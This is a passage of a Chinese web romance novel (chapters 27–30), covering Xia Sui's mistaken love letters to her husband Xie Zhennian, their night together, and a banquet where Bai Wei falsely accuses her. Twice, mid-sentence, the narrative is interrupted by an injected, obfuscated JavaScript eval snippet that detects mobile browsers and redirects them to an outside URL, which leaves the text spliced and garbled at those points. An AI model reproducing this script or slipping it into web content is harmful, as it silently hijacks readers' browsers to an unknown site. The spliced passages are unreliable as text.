怪不得不当面说呢。 这种直白的情话,他也有些招架不住。 还是写信好。 他提起笔,不知该回什么,又拿起她的信看了看,最终只回了一个简单的字:嗯。 婢女拿着他的信返回时,夏穗正百无聊赖地躺在床上翻小画本。 见这个婢女进来,她反问道:“怎么是你来送信,小桃呢?” “小桃姐肚子不舒服,在半路上碰到我了,她便让我去送。” 夏穗点点头,小桃是她的心腹,既然小桃能信得过的人,那这个婢女必定也不是什么坏人。 她迫不及待地从婢女手中拿过信,打开来看,发现信上只有一个“嗯”字。 她并不觉得失望,这确实是狸奴的风格。他虽然是一个唱戏的,但他私下就像一只小黑猫一样,话少,冷清。 他的这个性格倒是有一部分和谢枕年有几分相似。 夏穗不知道自己是不是因为这一点,所以才更青睐他,但她也不想去考虑这么多。 管他像谁,合她心意就行。 她捧着那个字看了又看,啧啧在心底称叹道:太好看了!大气中透着隽秀,没想到他居然还能写得一手好字! 她拿起笔,又问到:今天累吗? 写完后,照样折成小青蛙的样子送过去。 谢枕年拿到小青蛙,耐心地拆开来,接着回到:还好。 于是两人一来一回地写,这期间绝大部分时候都是夏穗在提问,诸如:今天吃了什么?好吃吗?今天过得开不开心?有没有遇到好玩的人和事? 还夹杂着她毫不吝啬的夸赞:太棒了!不愧是你! …… 眼看着天色到了后半夜,谢枕年旁边的公文依旧堆积如山,唯一的变化是从大山变成了小山。 他刚打开一份公文,青蛙便又来了: 我要睡了,你什么时候休息? 谢枕年看着这句话,无意识地提了提唇角,写下一句:有要事处理,你先休息。 他的信传回去时,夏穗已经趴在床上睡着了。 等他完全处理完公务,天边已经翻出了鱼肚白的颜色。他好久都没熬这么大的夜了,母亲和叔父从小教导他,做事要专注,提高效率,今日事今日毕。 看着手边一叠褶皱的信纸,他并没认识到自己的错误,他只是觉得重要的是齐头并进,也没什么不好。 他弯了弯嘴角,把那些信纸小心地收到抽屉里。 他喝了杯茶,让自己尽量保持清醒,又站起来活动了一下筋骨。 稍微修整之后就要去上朝,路过院子时,他看到夏穗也起了,正向老夫人的院子走去。 想到昨天晚上你来我往的问候,还有她直白狂放的心意,谢枕年心下有些高兴,叫了她一声。 “夏穗!” 夏穗闻声回头,有些疑惑地瞥了他一眼,见他没什么事要说,就敷衍地朝他行了礼,什么话也没说,又转身走了。 留下谢枕年一人在风中。 ? 她这是怎么了? 明明昨天晚上还那么兴奋热烈。 怎么今天一大早像换了个人一样? 女人的心思真难猜。 夏穗心中也有些疑惑,谢枕年这么主动,就为了打个招呼,她还是第一次见。 他昨天还说要回来同她解释,结果半夜也没瞧见个人影。 今天早上倒是热情。 八成是做贼心虚。 趁他不在,要不去见见狸奴好了。 她在王府里不好穿婢女的衣服,要是被人认出来了,反而需要解释。于是她就着这身王妃服制去了。 狸奴从没见过她打扮得这么富丽堂皇的样子。 他见到一定会很高兴的。 夏穗一边在心中预想着她和狸奴见面的情景,一边加快脚步,转过几个路口,来到西厢房。 不过这里非常清净,不像是住了几个戏子的地方。 她站在门口敲了敲门,没有人应。于是便直接推门走了进去。 房内布局规整,各式各样华贵的家具和装饰品不少,但都摆放得整整齐齐。连书桌上的毛笔都分门别类依次放好。 干净整洁得简直像是从来没有人住过的。 夏穗在房中转了一圈,也没看到人。她站在房中环顾四周,难道她又走错了? 正巧,此时洒扫的婢女进来了,她赶紧问道:“府中的那几个戏子呢?他们搬走了吗?” “回娘娘,他们住在东厢房。” 夏穗惊道:“东厢房?!不是住西厢房吗?” “听管家说,按惯例是要安排在西厢房的,但前两日王爷把书房搬到了这里,于是便让他们住到东厢房去了。” 夏穗简直不敢相信自己的耳朵。 她强撑着心态又确认了一遍:“你刚刚说,谁把书房搬到了这里?” “王爷啊。我昨晚半夜路过,看到这里还是灯火通明,想必王爷是一宿未睡。” 夏穗僵硬地笑了笑,拍了拍她的肩膀,有些腿软地走出去。 谢枕年是不是一宿没睡她不知道,但昨天半夜肯定是没睡的。 半夜他俩还在传信呢。 夏穗一路飞回了她的房间,手忙脚乱地从小匣子里把她昨天晚上收到的信件都拿出来,努力回忆着昨晚的对话。 要是让谢枕年知道她在他的眼皮子底下和一个戏子传信,还对那个男人说了那么多夸赞的话,那别说会替她找个好人家了,谢枕年估计会狠狠欺负她,他玩够了再把她扫地出门。 虽然她和狸奴只是朋友,她对他的喜欢也仅限于对他的才艺和个性的欣赏,但这种事情说出去谁信啊? 怪不得,怪不得谢枕年早上一反常态,主动跟她打招呼了。看来她的那些关切和夸奖都被他收到了。果然事出反常必有妖! 她细细地把信件都看一遍,仔细回忆着,好在都只是一些简单的对话,没有提及到别的什么身份信息。 看谢枕年早上的样子,他应该也没有起疑心。 她刚把信收好,一出门便撞见了昨天给她送信的那个婢女。 夏穗气不打一处来,把她拉到一边问道:“我问你,我昨晚的信,你都送到谁手上了?” “王爷啊。” “你怎么给他了?小桃是怎么跟你说的?” 婢女转了转眼睛,回想道:“小桃姐说,送去给西厢房最帅的男人。西厢房不就王爷在吗?而且王爷也是府上最帅的男人啊。” “……” 此话有理,夏穗嫁入王府这么久,府上来来往往不少男人,无论来的人是谁,都不会改变谢枕年最帅这个事实。 夏穗挥挥手:“算了,你下去吧。” 这也怪她自己,而且最终没有酿成大祸,她也不想追究了。 那婢女还没走多远,只见另一个婢女哭哭啼啼地跑过来,拉着她的袖子道:“好姐姐,你快去看看吧,王爷在后厨发了好大的脾气。” 夏穗的耳朵立刻竖了起来,小跑过来问道:“王爷回来了?发生什么事了?” 哭着的小婢女点点头,说道:“刚刚回来的。老夫人的风寒久不见好,他亲自去后厨看药,看到几个姐妹的手上都很脏,正怪罪她们呢。” 夏穗跟着她们也来到了后厨。 果然看到后厨的人都排成一排,个个低头垂手,谢枕年微微昂首,负手站在他们面前。 他本一身矜贵倨傲的气质,不怒自威,当他眉头下压,冷脸不说话时,更是有风雨压城之感。 气压低得可怕。 谢枕年开口质问:“管事的是谁?” 语气削字如刃,轻轻地飘过皮肤,像是刀锋刮骨。 一个老婆婆颤颤巍巍地举手站出来,在他面前跪下。 夏穗认得这个婆婆,她初入王府学规矩时,掌教姑姑常常限制她吃东西,但每次她来后厨,这个婆婆经常给她留好吃的。 眼看婆婆要受罚,夏穗赶紧站出来替她们解围:“王爷!后厨的人要劈柴烧火,还要去地里采摘萝卜青菜,手脏一点,其实很正常。但是真正掌勺做菜的,肯定不会是这些手脏的人,他们也没有机会接触到做好的食物。” 说完,她又看了那排人一眼,问道:“对吧?你们是这么安排的吧?” 后厨的人看着她,眼神中含着像看救世神明般的敬仰,大家都点点头。 夏穗接着说道:“王爷写字时,手上也会留下墨痕。如果要让一个拔萝卜的人时刻保持手上没有泥土,那未免也太苛刻了。” 谢枕年看着她说完,轻叹了口气,挥挥手说道:“罢了,散了吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681881|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以后注意点。” 众人散去,夏穗和谢枕年慢慢往回走。 谢枕年反问道:“你怎么知道他们是摘青菜的人?” “看他们的鞋子就知道啊,鞋子上沾了泥,肯定是去过地里。王爷你啊,平时不与他们接触,对府上的事情一点都不了解。” 谢枕年停下脚步,夏穗转身回看他:“怎么了?” “我要巡府视察。” 听了这句话,夏穗眼皮一跳:“怎么突然想巡府视察了?” 谢枕年走近她:“你不是说我对这府上的人和事一点都不了解吗?那我要亲自看看。先从你的别院里开始看吧。” 夏穗立即伸出手挡在他身前:“等等!” 遭了,今天阳光正好,她院里正在晒小画本,估计铺满了整个小院。 谢枕年微微眯起眼睛,反问道:“怎么?你院里有见不得人的东西?” “……那倒不是。”夏穗疯狂想着对策,“我自己捯饬过我的小院,风格比较独特,我怕你不喜欢。” “无所谓,没什么我接受不了的风格。” “可是……” 谢枕年仔细盯着她的脸,他感觉夏穗的这种神情好像在哪里看到过。 ——想起来了! 上次落水前,她在池边看书被他遇到,就是这副神情。 对了,还有那次她被人追,两人在大街上的店里遇到,他当初只从她的脸上看出了慌张的神色。 但此时看来,那抹慌张里肯定不只是因为被追兵追。 那是一种隐秘的、担心秘密被发现的表情。 他一把拉过夏穗的手:“事不宜迟,现在就走吧。” 夏穗被他拽着走:“我的别院离这里远着呢,我们不如就从近的开始巡查,怎么样?这样也不用来回跑,省时省力。” 她的这个理由很有说服力。 谢枕年看着她扑闪的眼睛,心中另起一计,答应下来:“好啊,那就先就近看看吧。” 两人就近走进一个院子,谢枕年假装前去视察下人们干活,但把注意一直放在夏穗身上。 当然,夏穗也在注意着他。 房中摆着一面镜子,站在谢枕年的角度,正好能看到夏穗。于是他干脆背过身去,透过镜子观察她的动静。 果然,他转过身去不久,夏穗就偷偷对一个婢女说了什么,说完,那婢女便急匆匆地走了。 她会找人帮忙,谢枕年也会。 他也随便拉了一个婢女,要她混到夏穗的院子里,去查看情况。 他们俩慢悠悠地转到夏穗的院子,她的别院里种了很多花,看起来要比别处更有活力和生命气息,除此之外,没什么异常。 谢枕年意味深长地看她一眼:“不错,收拾得很漂亮。” 夏穗笑笑,心虚地予以回视。 谢枕年在她的别院里随意地逛了一圈,不着痕迹地说道:“对了,过几日是我舅父的生辰,白家与谢家一向交好,我今晚要去白府商议宴会的事,可能会比较晚,就不回来了。你用了晚膳便早点休息吧。” 夏穗表面上乖巧地点点头,心里已经快跳起来了。 那正好。 好久没有通宵看过小画本了,那种争分夺秒体验一个爱情故事的感觉,让她实在着迷。 夜里,四下安安静静。 夏穗捧着精心挑选的睡前小话本,走到床边坐下,痴迷地读着。 正看到紧要关头,男主人公把心爱的女子抱在怀中,正要接吻…… 夏穗咬住下唇,翻开下一页。 她忽然发觉颈侧漫上来一股温热的气息,炽热的气息喷在她的皮肤上,催着她的心脏猛烈跳动。 这代入感也太强了。 难道是她太激动了,出现幻觉了? 一道阴鸷的嗓音在耳畔传来,打断她的思绪:“好看吗?” 夏穗百忙之中抽空点了点头。 …… ?! 她有些不敢相信地突然挺直了脊背,抬起头,眨了眨眼睛。 那道低沉阴戾的声音再次从她耳后响起,温热的鼻息洒在她的耳后,带起皮肤上一阵细小的颤栗: “看书千遍,不如实践一遍。” !!! 夏穗怔怔地回过头。 谢枕年侧躺着,单手支撑着身子,朝她掀开被窝:“进来。” 他提了提嘴角:“我送你个好梦。” 28. 第 28 章 夏穗“砰!”地一声合上书本,一跳三米远,紧张到结巴:“你你你……你怎么在这儿?” 谢枕年保持着那个动作没变:“这是我的家,我的床,我为什么不能在这儿?” “别藏了,我知道你在看什么书。”他说完,又拍了拍面前的床,略带命令的口吻,“过来。” 夏穗把书反扣在桌上,乖乖走过去。 一边走一边解释道:“每个人都有自己的爱好,只是我的爱好跟王妃这个位置不匹配而已。王爷,你饶了我这一回吧。” 她越走越慢,走到床边时,脚步便并不听使唤地停下了。 谢枕年稍稍往外倾了倾身子,抓住夏穗的手腕,一把就将人拽过来压在床上。 不得不承认,老夫人买的这个大床质量真的很好。 夏穗摔倒在床上,床微微回弹,谢枕年趁着这个间隙,将她双手扣押住。 他的目光在她身上游走了一遍,压低身子说道:“饶你?” 夏穗眼中含着一丝期盼,点点头。 他会怎么办? 把她告到老夫人那儿,然后把她逐出王府吗? 还是说要把她关到柴房里去? 这点小事,不至于要扒她一层皮吧? “晚了,惩罚我已经定好了。” 不等夏穗说话,他便欺身吻了下来。 夏穗还没反应过来,脑袋一片空白,任由他摆弄着。 但身体的感受很清晰,她其实感觉得出来,谢枕年不太会接吻。 他的吻极其生硬、霸道、暴烈,毫无章法。 连呼吸也要被他压制住。 不知道吻了多久,夏穗只觉得嘴唇一阵发麻。 夏穗做梦都没想到,她曾经想要的事来得这么快。 “呜呜……” 不知什么时候,她又低低地哭起来。 而谢枕年也极尽耐心地一次次帮她擦去眼泪,有时是用手,有时是用嘴。 外面下起了滂沱大雨。 从黑暗中快速降落的雨珠混合着两人交错的呼吸,久久不歇。 夏穗潮湿的呜咽声被谢枕年尽数吞吃入腹。 一夜无话。 当晨光再次照亮这间房的时候,夏穗在刺眼的阳光中慢慢醒来。 她以为她又喝醉了。 头痛得难受,不仅是头,身体也是,某处尤其。四肢百骸好像要散架一样,动弹不得。 这下她更加肯定谢枕年上次没做过什么了,因为对比太强烈了。 她躺在谢枕年的怀中,艰难地动了一下。 谢枕年轻哼一声,朝她靠近了点,一只手圈住她,另一只手搭在她的腰上。 真没想到,一向严格自律的王爷也会有赖床的一天。 而且……好像还带点起床气? 夏穗伸出手,轻轻拍着他的胳膊。像哄小宝宝那样,温柔而有规律地安抚着他。 谢枕年在这无比温暖柔软的氛围中醒来。 两人对视了一会儿,最终是夏穗先移开眼睛,目光落在他的胸口处,声音闷闷地:“我们……这样不好吧?” 谢枕年开口问道:“怎么不好?” 他的声音也异常嘶哑。 “要是让他知道怎么办?” 谢枕年一头雾水,还没反应过来她到底在说什么:“谁?” “还能是谁?……彦修啊。” 听她这么说,谢枕年用手抬起她的下巴,逼她直视着自己,有些不可置信道:“夏穗!你脑子里到底在想什么?我们都已经行过周公之礼,有过夫妻之实了,你还在信这种谣言?” 夏穗把心里一直想问的问题问了出来:“那你去西南,为什么只带彦修?” “我虽是西南军队的总将,但那些毕竟不是在我手底下养出来的人。在战场上,我唯一能放心把后背交付的那个人,一定得是我亲自培养的人。王府这么多侍卫里,就属彦修跟着我的时间最久,功夫也最好,所以我选了他。” “那那次呢,你被人下药那次,我明明想帮你,可你把我赶了出来,叫了彦修进去……” 谢枕年极尽耐心地向她解释:“我只是不想在外力因素那么强大的情况下和你发生关系。我既不知道你的心意,当时也没确定好自己的心意,更不敢平白无故毁人清白。我叫彦修进来,也不是要他帮我解决什么,我只是让他去帮我找解药而已。” 夏穗听他说完,在脑子里反应了很久,这下她才确确定定地推翻了自己此前的所有结论。 她有些激动地往他怀里钻了钻:“是这样啊。” 谢枕年也抱住她,但他无奈又有些疲惫的声音在她头顶响起:“你有这些问题,为什么不早问我?” 夏穗缩在他的怀里嘟嘟囔囔:“这哪问得出口啊?” 谢枕年看着怀里的人儿,挑起一边眉毛:“那现在怎么问的出口了?” 夏穗抬起头看他,微微仰头在他的脸上啄了一下,笑着说道:“现在不一样了。你是我真的夫君了,夫妻之间,本就该是无话不谈的。” 都怪外面的那些谣言,传得轰轰烈烈的。她本来还只是半信半疑的态度,诱导她如此笃定的罪恶源泉便是谣言。 她先入为主地听了那些谣言之后,所有谢枕年与彦修有接触的事,都在她的脑子里不断地放大、放大,最终让她真正相信了。 不过,假的东西永远是假的。 夏穗很高兴,至此,谣言终于被攻略了。 ……她也是。 她尽情享受着此刻这个独属于她的温暖怀抱。 谢枕年抚摸着她的头发,但心中隐隐有些难过。 他之前就一直在想,不过是外面空穴来风的谣言,为什么夏穗会这么相信。原来是有这些事情摆在她面前。 难怪只凭他的口头解释,她还是不相信。 原来她一直都在意这些。 他一定害她为难了好久吧。 谢枕年这么想着,加大了手臂的力道,把人重重地按向自己的怀中,像是要把她揉进自己的身体一般。 夏穗的脑袋紧贴着他的胸膛,有些呼吸不过来了,她像一只毛茸茸的小动物一样在他怀中拱了拱。 两人正调笑着,门外突兀地响起了敲门声。 彦修和小桃一起走了进来。 两人在屏风外止步,彦修恭敬道:“王爷,该去上早朝了。” 小桃也催着夏穗:“小姐,该去给老夫人请安了。” 夏穗还得缓缓,于是先对小桃说道:“你就说我感染了风寒,身体不适,得晚点再去。” 谢枕年则是直接了当:“我今日请假。” 彦修点点头,转身走了两步,又折返回来问道:“那请假的理由是……” 毕竟他家王爷为官这么多年,还从来没有请过假。他实在不知道该说什么理由好。 “……” 一问这个,四人都沉默了。 最终还是夏穗打破了这死寂的尴尬:“跟我用一样的理由就行。” 反正两人也是一样的原因。 他们走后,两人又在床上温存了一会儿,谢枕年才起床。 “去哪儿啊?” 夏穗想挣扎着坐起来,但她一动,便更痛了。 她疼得倒抽一口凉气,真不知道到底是谁说谢枕年不行的。 他不仅行,而且很厉害。 谢枕年披了衣服,好整以暇地看着她,勾勾唇角走过去,语气中似乎带着一点不满:“你还能起来?” 夏穗撇撇嘴,任由他扶着自己躺下。 谢枕年替她盖好被子,又在她的额头上落下一吻,这才说道:“昨天没骗你,我真的要去白府商量舅父生辰宴的事。本来昨晚是要过去的。” 夏穗敏锐地提问:“那你为什么又留下了?” 谢枕年伸出手食 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而且,他们去的地方是白府,是白薇的家,还是低调些为好。 这几年来,逢年过节时,她在谢府里也偶尔见到过白薇,夏穗每次看到,都远远地回避她。 她倒也不是害怕白薇,她只是懒于应付她,更不想跟她在王府中有什么争执。争执次数多了,迟早要传到老夫人耳中。 老夫人年纪大了,又是白薇的亲姑母,站在谁那边自然不言而喻。夏穗不想为自己找麻烦。 马车刚到白府门口,极尽奢靡的气息便扑面而来。 乌木大门高逾丈余,两侧立着两只威武的石狮子,往来宾客络绎不绝,贺礼像是没有尽头似的,一箱箱往里面抬。 夜光珍珠、青玉仙鹤灯、紫檀云母屏风、金丝楠木百宝架…… 夏穗看得眼花缭乱。 这破天的富贵她什么时候也能接住! 谢枕年挽着她的手,刚踏进白府,一群官员便围了上来,拉着他推杯换盏,谈笑风生。 他也立马切换为另一种客气又戒备姿态,各种人物都应对自如。 夏穗在他旁边站了一会儿,虽然她有时候听不懂他们在说什么,但能看得出来,几个人表面上风平浪静,实则早就暗流涌动。 世家大族的任何一个宴会,都绝不会是单纯的宴会,这是各路大臣们为达目的的另一个战场。 位低者想要借此机会攀附权贵,位高者想趁机笼络人心。 像她这样毫无上进心,只追求快乐生活的咸鱼,估计没人想搭理她。 但谢枕年不一样。 他明显是各路人马眼中的璀璨明珠。 很快,他身边有越来越多的人围了过来。 谢枕年就像一条鱼,他的周身是一片人海。 他被淹没在人海中,他混得如鱼得水,也让夏穗看不到他。 不过夏穗也无心探寻朝廷上的事,比起这个,她更想去看狸奴唱戏。 她找了个不起眼的角落坐下,狸奴已经登场了,他在台上唱着,她在台下热烈叫好。 狸奴显然是认出她来了,往她这个方向看了好几眼。 夏穗看得津津有味,每当他的唱词结束时,她便奋力鼓掌。 谢枕年幽幽的声音在旁边响起:“这有什么好看的?” 夏穗回头:“王爷?你结束了?” 谢枕年不置可否,只是拉起她的手腕,把她拽走:“过来,带你去吃东西。” “我还没听完呢……” 夏穗有些依依不舍地回头,看向戏台。 刚好与狸奴的眼睛对视上。 不知道为什么,她好像在狸奴的眼睛里捕捉到了一抹她很陌生的色彩。 那是一个近乎决绝的、危险的眼神。 29. 第 29 章 午宴还没正式开始,谢枕年先带她来到了点心区。 水晶糕,玉露团,奶酥夹饼……很多糕点她都在王府里见过,并不觉得稀奇。 这些糕点不仅名字起的花里胡哨的,外表也是雕刻得极尽精致。 夏穗反而拿起旁边一块朴素的糯米糕尝了一口。 谢枕年看她像一只吃素食的兔子一样,小口小口地咬着那块软软的糕点,忍不住问道:“怎么样?好吃吗?” “嗯……” 夏穗正在考虑着该怎么形容这个味道,脑子里忽然想起来第一次与谢枕年接吻时的场景。 严格意义上来说那并不算接吻,只是她为他戴帽子时发生的意外,但那次她确实尝到了甜头。 香甜软糯,微微发热。 那是谢枕年嘴唇的味道。 想到这里,她有些脸红。她把吃剩下的那小半块糯米糕直接塞到了谢枕年的嘴中:“很好吃,你尝尝。” 谢枕年仔细品味着夏穗投喂的糯米糕,点了点头,挑起桌上的一颗红色樱桃,也喂给了她。 白薇站在不远处,眼中含着无比愤怒的情绪看向这边。她对着身旁的丫鬟说了几句耳语,那丫鬟频频点头,迅速跑开。 谢枕年陪她吃了会儿东西,很快又被其他官员拉走了。 夏穗估摸着唱戏那边应该也快结束了,她掏出手帕,挑拣了几样好吃的糕点打包,打算给狸奴送过去。 去找狸奴时,她看到一个跟老夫人年纪差不多的女子,揽着一个和她差不多大的男孩儿,在她面前走过去。 两人的关系,一看便是金主与金丝雀。 她小时候,很有志向的时候,很看不起那些被包养的。现在才知道,不是谁的命都像她这么好的。 她又忍不住看了一眼鹤立鸡群的谢枕年。 以谢枕年的财力,他是金主中的金主。但他各方面的条件都比那些年老色衰的老财主们要好太多。 夏穗在园子里逛了几圈,也没看到狸奴的人影。她正打算再找一圈,身后忽然有道熟悉的声音叫住了她。 “夏穗,真是好久不见了。” 这么拽的语气,她不用回头也知道是谁。 她站在原地没动,果然,光凭她这个小举动便激怒了白薇。 白薇大跨步走过来,在她面前叉腰站定:“喂!我叫你,你听不见吗?” 听到了,听到了,两只耳朵都听到了! 夏穗轻叹了口气,换上一副皮笑肉笑的表情:“白小姐有何吩咐?” “我告诉你,我已经得到爹爹的许准了,今天宴会结束后,我要跟你们一起回王府。” 她很得意地继续说着,“从此以后,我要一直住在那里。” 后半句话她说得很慢,吐字清晰,尤其强调“一直”。 夏穗笑笑:“那好啊,欢迎你来做客。” “做客?” 白薇冷笑一声,凑在她耳边小声说道:“我要做王府的女主人。” 两人离得很近,夏穗斜斜地看了她一眼,能够看到她眼中有恃无恐的优越感和挑衅意味。 夏穗正要说话,白薇忽然抓着她的手扒下自己的衣服,然后疯了似的大叫。 “不要!快放开我!” 夏穗的手被她死死按住,她用了更大的力道抽了回来。 但为时已晚。 白薇端庄得体的华服已经被扒下来一大半,露出她白皙圆润的肩膀。 正在此时,白薇的婢女也带着谢枕年小跑过来,那婢女脸上挂着泪珠,夏穗想都不用想她在谢枕年面前说了什么。 白薇见谢枕年来了,也立刻泪如雨下,声音柔柔弱弱,但音量却很大:“娘娘,你这是何意?我只不过是与你争辩了几句,你就要在大庭广众之下扒我衣服吗?” 她闹这一出,引得周围的官员和夫人小姐们都看向这边,她们顿时成了人群的焦点。 夏穗努力为自己辩解:“我没有!我又不好女色,我干嘛要扒你衣服?” 白薇哭得更凶了:“大庭广众之下,娘娘这是故意想让我难堪。” 她跑到谢枕年的身后,哭哭啼啼地:“枕年哥哥,求你为我做主。” 夏穗终于明白过来。她这是在以其人之道还治其人之身。 先激怒对方,然后上演苦肉计博得同情。她曾经用这个方法对付过白薇,没想到她学的挺快。 夏穗有理有据地分析:“如你所说,我若是真的想让你难堪,方法多的是。何必在大庭广众之下动手,在众目睽睽之下当这个恶人?” 白薇的眼中很快地略过一抹惊慌,但随即便被一层不可置信掩盖住:“娘娘,你的意思是,我在污蔑你?” 夏穗站在原地不动,盯着她的眼睛:“你心里最清楚。” 白薇抬手抹了把眼泪,拽着谢枕年的袖子撕心裂肺道:“王爷!我一个闺阁女子,怎么会拿自己的清白开玩笑?” 看谢枕年迟迟不表态,白薇的贴身婢女也跪下来嚎道:“王爷,我家小姐好心过来找娘娘说话,才说了几句,娘娘不知怎么就生气了,奴婢这才过来找您。也许是娘娘太过生气,才做出了这等举动。” 夏穗毫不退让:“你是她的贴身婢女,当然会为她说话。再说了,一般谁过来主动说话,多半就是主动找茬的。” 她后半句话说得不太妥当,话一出口便引起了不少人的窃窃私语。 谢枕年蹙着眉头制止她:“夏穗!” 夏穗微微一愣,看向谢枕年,心下一凉。 谢枕年没有替任何人说话,但是他在她说话的时候制止了她。 虽然她承认后半句话说的不太妥当,有些口无遮拦了,但谢枕年此时出声,在外人看来,无亦于就是表明了他的态度。 夏穗深吸了一口气,强迫自己恢复镇定。 事情发生之前,这里有这么多人,其中肯定有人看到了是白薇自己扒下衣服的。 但这些人基本都是官宦之家,一边是王府,一边是白府,但两家又有亲戚关系,说白了只是他们家族内部的事情。没有人敢站出来说什么。 大家都选择了隔岸观火,明哲保身。 夏穗再次看向谢枕年。 谢枕年的目光没有从她身上离开过,见夏穗望过来,他往前迈出一步,刚想开口,但忽然从人群中传来一道嘹亮的声音。 “我看到了真相!” 众人从声音的源头看过去。 一道颇为消瘦的身影拨开人群走了出来:“是白小姐自己扒的衣服。” 夏穗在心中惊喜道:是狸奴! 狸奴从人群中走出来,多年登台唱戏的训练让他站得笔直,他的气质和谢枕年有一点相似,但又很不一样。 如果说谢枕年是高大坚劲的松柏,那他便是坚韧不屈的青竹。 他走到夏穗身前站定,声音与他在戏台上那般似水流长百转千回不同,此时他的声音铿锵有力:“是白小姐率先挑衅在先,我亲眼看到她抓着王妃的手扒下自己的衣服。她甚至提前让她的婢女去叫王爷过来,为的就是在王爷面前演这一出好戏。” “休要血口喷人!哪里来的戏子,也敢在这里胡说八道!这里没有你说话的余地。” 夏穗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692932|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和狸奴的话几乎是同时响起: “怎么,你心虚了?” “白小姐心虚了。” 重叠着的声音一问一答,逼得白薇哑口无言。 夏穗和狸奴相视一笑,狸奴趁热打铁接着说道:“既然白小姐不承认,需要我把你们之间的对话也一一重复出来吗?正如大家看到的,我只是一个戏子,与两位贵人毫无交集,没必要站在谁那边,我只是把我看到的事,实话实说出来罢了。” 有了狸奴这番铁词为证,众人的态度开始一边倒。 眼看着他们的声音越来越大,有人开始指责白薇。 白薇红着眼眶,躲在谢枕年身后,拉了拉他的袖子,哽咽道:“枕年哥哥……” 偷鸡不成蚀把米,被一个戏子数落,现在又被众人七嘴八舌地指责,她现在是真的想哭。 谢枕年甩开她的手,走到人群中央:“好了,诸位。” 他长身玉立,声音冷如霜玉,音量不大,但所有人都安安静静的。 “误会一场,我妹妹和妻子让大家见笑了。今日是我舅父的生辰宴,主角本不该是她们。各位散了吧。” 有他开口,原本议论纷纷的人都闭了嘴,各自散去。 他瞥了白薇一眼,径直走向夏穗。 但夏穗心里带着气,她现在不想搭理他。 看谢枕年走过来,她转身就走,狸奴看了谢枕年一眼,抬脚跟在夏穗身后。 直到宴席开始,他们俩也没坐在一起。 满桌的豪华盛宴,但谢枕年一点胃口也没有,他看着离她老远的夏穗,几不可闻地叹了口气。 夏穗那句话说的不太妥当,他情急之下开口制止了她。他怕她再说错什么话,攻击到别人,这里的人都很会见缝插针,他怕她成为众矢之的。 当夏穗再次望向他时,他想站出来替她说话,却被另一个人抢先了。 后来白薇受人指责,他不得不站出来打圆场。今天是白薇父亲的生日,他就算不给白薇面子,也得给他舅父面子。 但夏穗必然不会考虑到这些,她只会觉得他在帮白薇。 谢枕年又叹了口气,把手中的筷子一扔,起身离席。 夏穗知道谢枕年的目光一直在看这边,但她故意不回看。她其实也知道谢枕年这么做必然是有他的难处,但不管有什么难处,都可以留到事后解决。 他的态度对她来说很重要。 夏穗一道道尝过面前的菜,然后挑了她认为最好吃的菜摆到手边。 虽然上午被白薇闹了那么一出,她心里确实不高兴,但这点小事不能毁了她此刻吃饭的心情。 她把面前的饭菜一扫而光,十分餍足地擦了擦嘴。 她抬起头,发现谢枕年的位置已经没有人了。 他桌上的饭菜原封不动。 他总是这样。 为了一点小事动不动就不吃饭。 好吧,看在不能浪费粮食的份上,那她就勉为其难地去找他回来吃饭吧。 她起身远离人群,在走廊上看到了正在说话的谢枕年和彦修。 夏穗正要走上前去,便听到了彦修压低的声音。 “王爷,人已经带回京城了。” 谢枕年的眉峰微抬,眼神中掠过一抹凶狠,沉声道:“把她们带到郊外的别院里,等我过去。” 夏穗站在台阶下,借着灌木的掩护,目光在两人脸上转了转,企图想窥探一点消息。 他们口中的是什么人?谢枕年要做什么? 看他们的神色,她心中有一种预感,他们谈论的人,她应该也是认识的。 30. 第 30 章 “狸奴!去那边干什么呢?!” 夏穗原本正聚精会神地听他们说话,忽然从远处传来了一道有些刻薄的女声,听音色像是上了年纪。 她向着声音的源头看去,只见狸奴本来正要朝她这边走来,但身后不远处站着一个矮胖的中年女子,她插着腰,中气十足,指着狸奴大声喊道。 夏穗远远地与狸奴对视上了,狸奴站在原地,像是在犹豫要不要到她这边来。 那个矮胖的中年女人看狸奴站着不动,又发话了,声音中含着些怒气:“狸奴!没听到我说话吗?快点过来!” 狸奴犹豫着,最终还是转过身,朝着那个矮胖的中年女子走去。 那一刻,夏穗终于读懂了他那个近乎决绝的眼神——那里面含着一种被抛弃的、想要一了百了的决心。 夏穗的心一沉,她想追上去问个明白,但脚步刚踏出去,就被彦修叫住了。 “娘娘?你怎么在这儿?宴会结束了?” 夏穗回头,正好与微蹙着眉的谢枕年对视上。 夏穗心中还带着气,于是阴阳怪气道:“没结束,但我人生地不熟的,怎么好意思待下去?万一又被别人泼脏水,连个替我说话的人都没有。” 谢枕年听她说话,眉头越皱越深:“那你先回吧,我还有事要处理。” 夏穗撇撇嘴,一点眼力见都没有。 她在生气,他看不出来吗?! 也不知道说几句好话哄哄她。 不过她现在急着去找狸奴问清楚到底发生了什么事,巴不得不和他待在一起。 于是她也很干脆地答道:“那你留在这儿吧,我走了。” 她毫不留恋地转身,朝着狸奴离开的方向追去。在白府前前后后找了一圈,也没有看到人影。 好不容易才在后院拉了一个戏班的人打听情况:“狸奴呢?” 那人上下打量了她一眼,嘟囔道:“怎么都是来找他的,那小子命可真好。” 夏穗不解:“什么意思?” 